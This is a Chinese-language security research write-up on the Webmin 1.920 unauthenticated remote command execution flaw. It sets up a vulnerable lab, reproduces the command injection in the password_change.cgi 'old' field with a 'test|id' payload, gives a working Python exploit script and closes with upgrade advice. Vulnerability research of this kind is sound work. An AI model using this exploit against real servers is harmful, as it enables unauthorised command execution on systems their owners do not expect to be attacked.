导语:2019年8月10日,Ozkan(@ehakkus)在DEFCON AppSec Village公开了一个0 day,1.930以下版本的Webmin存在远程代码执行漏洞。我对这个漏洞进行了跟踪研究,本文将要记录测试过程,根据漏洞原理使用Python编写一个POC,并给出防御建议。
0x00 前言
2019年8月10日,Ozkan(@ehakkus)在DEFCON AppSec Village公开了一个0 day,1.930以下版本的Webmin存在远程代码执行漏洞,文章地址如下:
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
我对这个漏洞进行了跟踪研究,本文将要记录测试过程,根据漏洞原理使用Python编写一个POC,并给出防御建议。
0x01 简介
本文将要介绍以下内容:
· 漏洞简介
· 搭建测试环境
· 使用Burp Suite复现漏洞
· 使用Python编写POC
0x02 漏洞简介
Webmin是基于Web的Unix系统管理工具,简单理解:使用Webmin能够通过浏览器远程管理Unix系统的主机。
1.930以下版本的Webmin存在远程代码执行漏洞,当Webmin的Password expiry policy设置为Prompt users with expired passwords to enter a new one时(默认设置为Always deny users with expired passwords),通过构造特殊格式的POST包,能够实现远程代码执行。
0x03 搭建测试环境和漏洞复现
测试系统: Centos7 x64 IP:192.168.112.181
1.安装perl和依赖库
yum -y install perl yum -y install perl-Net-SSLeay yum -y install perl-Encode-Detect
2.下载并安装存在漏洞的Webadmin(1.920)
wget https://sourceforge.net/projects/webadmin/files/webmin/1.920/webmin-1.920-1.noarch.rpm rpm -U webmin-1.920-1.noarch.rpm
安装成功后Webadmin默认开启SSL。
3.配置防火墙,打开10000端口,支持远程访问
添加10000端口:
firewall-cmd --zone=public --add-port=10000/tcp --permanent
重启防火墙:
firewall-cmd --reload
查看端口号是否开启:
firewall-cmd --query-port=10000/tcp
4.远程登录
登录页面如下图:
使用Centos的root用户口令进行登录。
注:为了便于测试,可以先关闭SSL功能,位置为:Webmin Configuration -> SSL Encryption
如下图:
新的登录页面为http://192.168.112.181:10000。
5.修改Password expiry policy
位置为:Webmin Configuration -> Authentication
默认为Always deny users with expired passwords
修改为Prompt users with expired passwords to enter a new on
如下图:
6.添加新用户
位置为:Webmin Users
添加用户成功后,修改Password选项,添加Force change at next login
如下图:
7.使用新用户登录
提示需要修改密码。
如下图:
8.开启Burp Suite进行抓包
任意输入旧口令和新的口令。
Burp Suite抓包如下图:
正常的返回结果如下图:
9.修改POST包,添加Payload
重复步骤8,并修改POST包。
原数据:
user=a&pam=&expired=2&old=123&new1=456&new2=456
新数据:
user=a&pam=&expired=2&old=123|id&new1=456&new2=456
如下图:
新的结果如下图:
执行了命令(id)并输出结果。
0x04 使用Python编写POC
Ozkan(@ehakkus)在他的文章中使用ruby编写了POC,这里使用Python根据Burp Suite的抓包情况重写一个POC。
需要考虑以下问题:
1.Python使用requests发送POST包
POST包格式如下图:
对应Python使用requests发送POST包的代码如下:
import requests def test_post_http(ip,command): try: url = 'http://' + ip + ':10000/password_change.cgi' headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': "gzip, deflate", 'Referer': 'http://' + ip + ':10000/session_login.cgi', 'Cookie': 'redirect=1; testing=1; sid=x', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '47' } payload = 'user=a&pam=&expired=2&old=test|' + command + '&new1=test1&new2=test1' r = requests.post(url, data=payload, headers = headers) print r.text except Exception as e: print '[!]Error:%s'%e
2.添加对结果的识别
如果Webmin未开启Prompt users with expired passwords to enter a new one,结果为:
<h1>Error - Perl execution failed</h1> <p>Password changing is not enabled! at /usr/libexec/webmin/password_change.cgi line 12. </p>
如果Webmin使用https,结果为:
<h1>Error - Document follows</h1> <pre>This web server is running in SSL mode. Try the URL <a href='https://webmin-node-reddis:10000/'>https://webmin-node-reddis:10000/</a> instead.<br></pre>
如果Webmin开启Prompt users with expired passwords to enter a new one,结果为:
<hr> <center><h3>Failed to change password : The current password is incorrect</h3></center> <hr>
3.添加对HTTPS的支持
如果结果为This web server is running in SSL mode.,那么跳转到HTTPS再次测试。
另外,需要取消证书验证。
原代码:
r = requests.post(url, data=payload, headers = headers)
新代码:
r = requests.post(url, data=payload, headers = headers, verify = False)
取消证书的ssl-warning,添加代码:
import warnings warnings.filterwarnings("ignore")
否则,会提示:
C:\Python27\lib\site-packages\urllib3-1.25.3-py2.7.egg\urllib3\connectionpool.py:851: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: ttps://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning)
完整测试代码已开源,地址如下:
0x05 防御建议
1.升级至1.930。
2.Password expiry policy采用默认设置。
0x06 小结
本文对Webmin<=1.920的远程代码执行进行测试,记录过程,根据漏洞原理使用Python编写一个POC,并给出防御建议。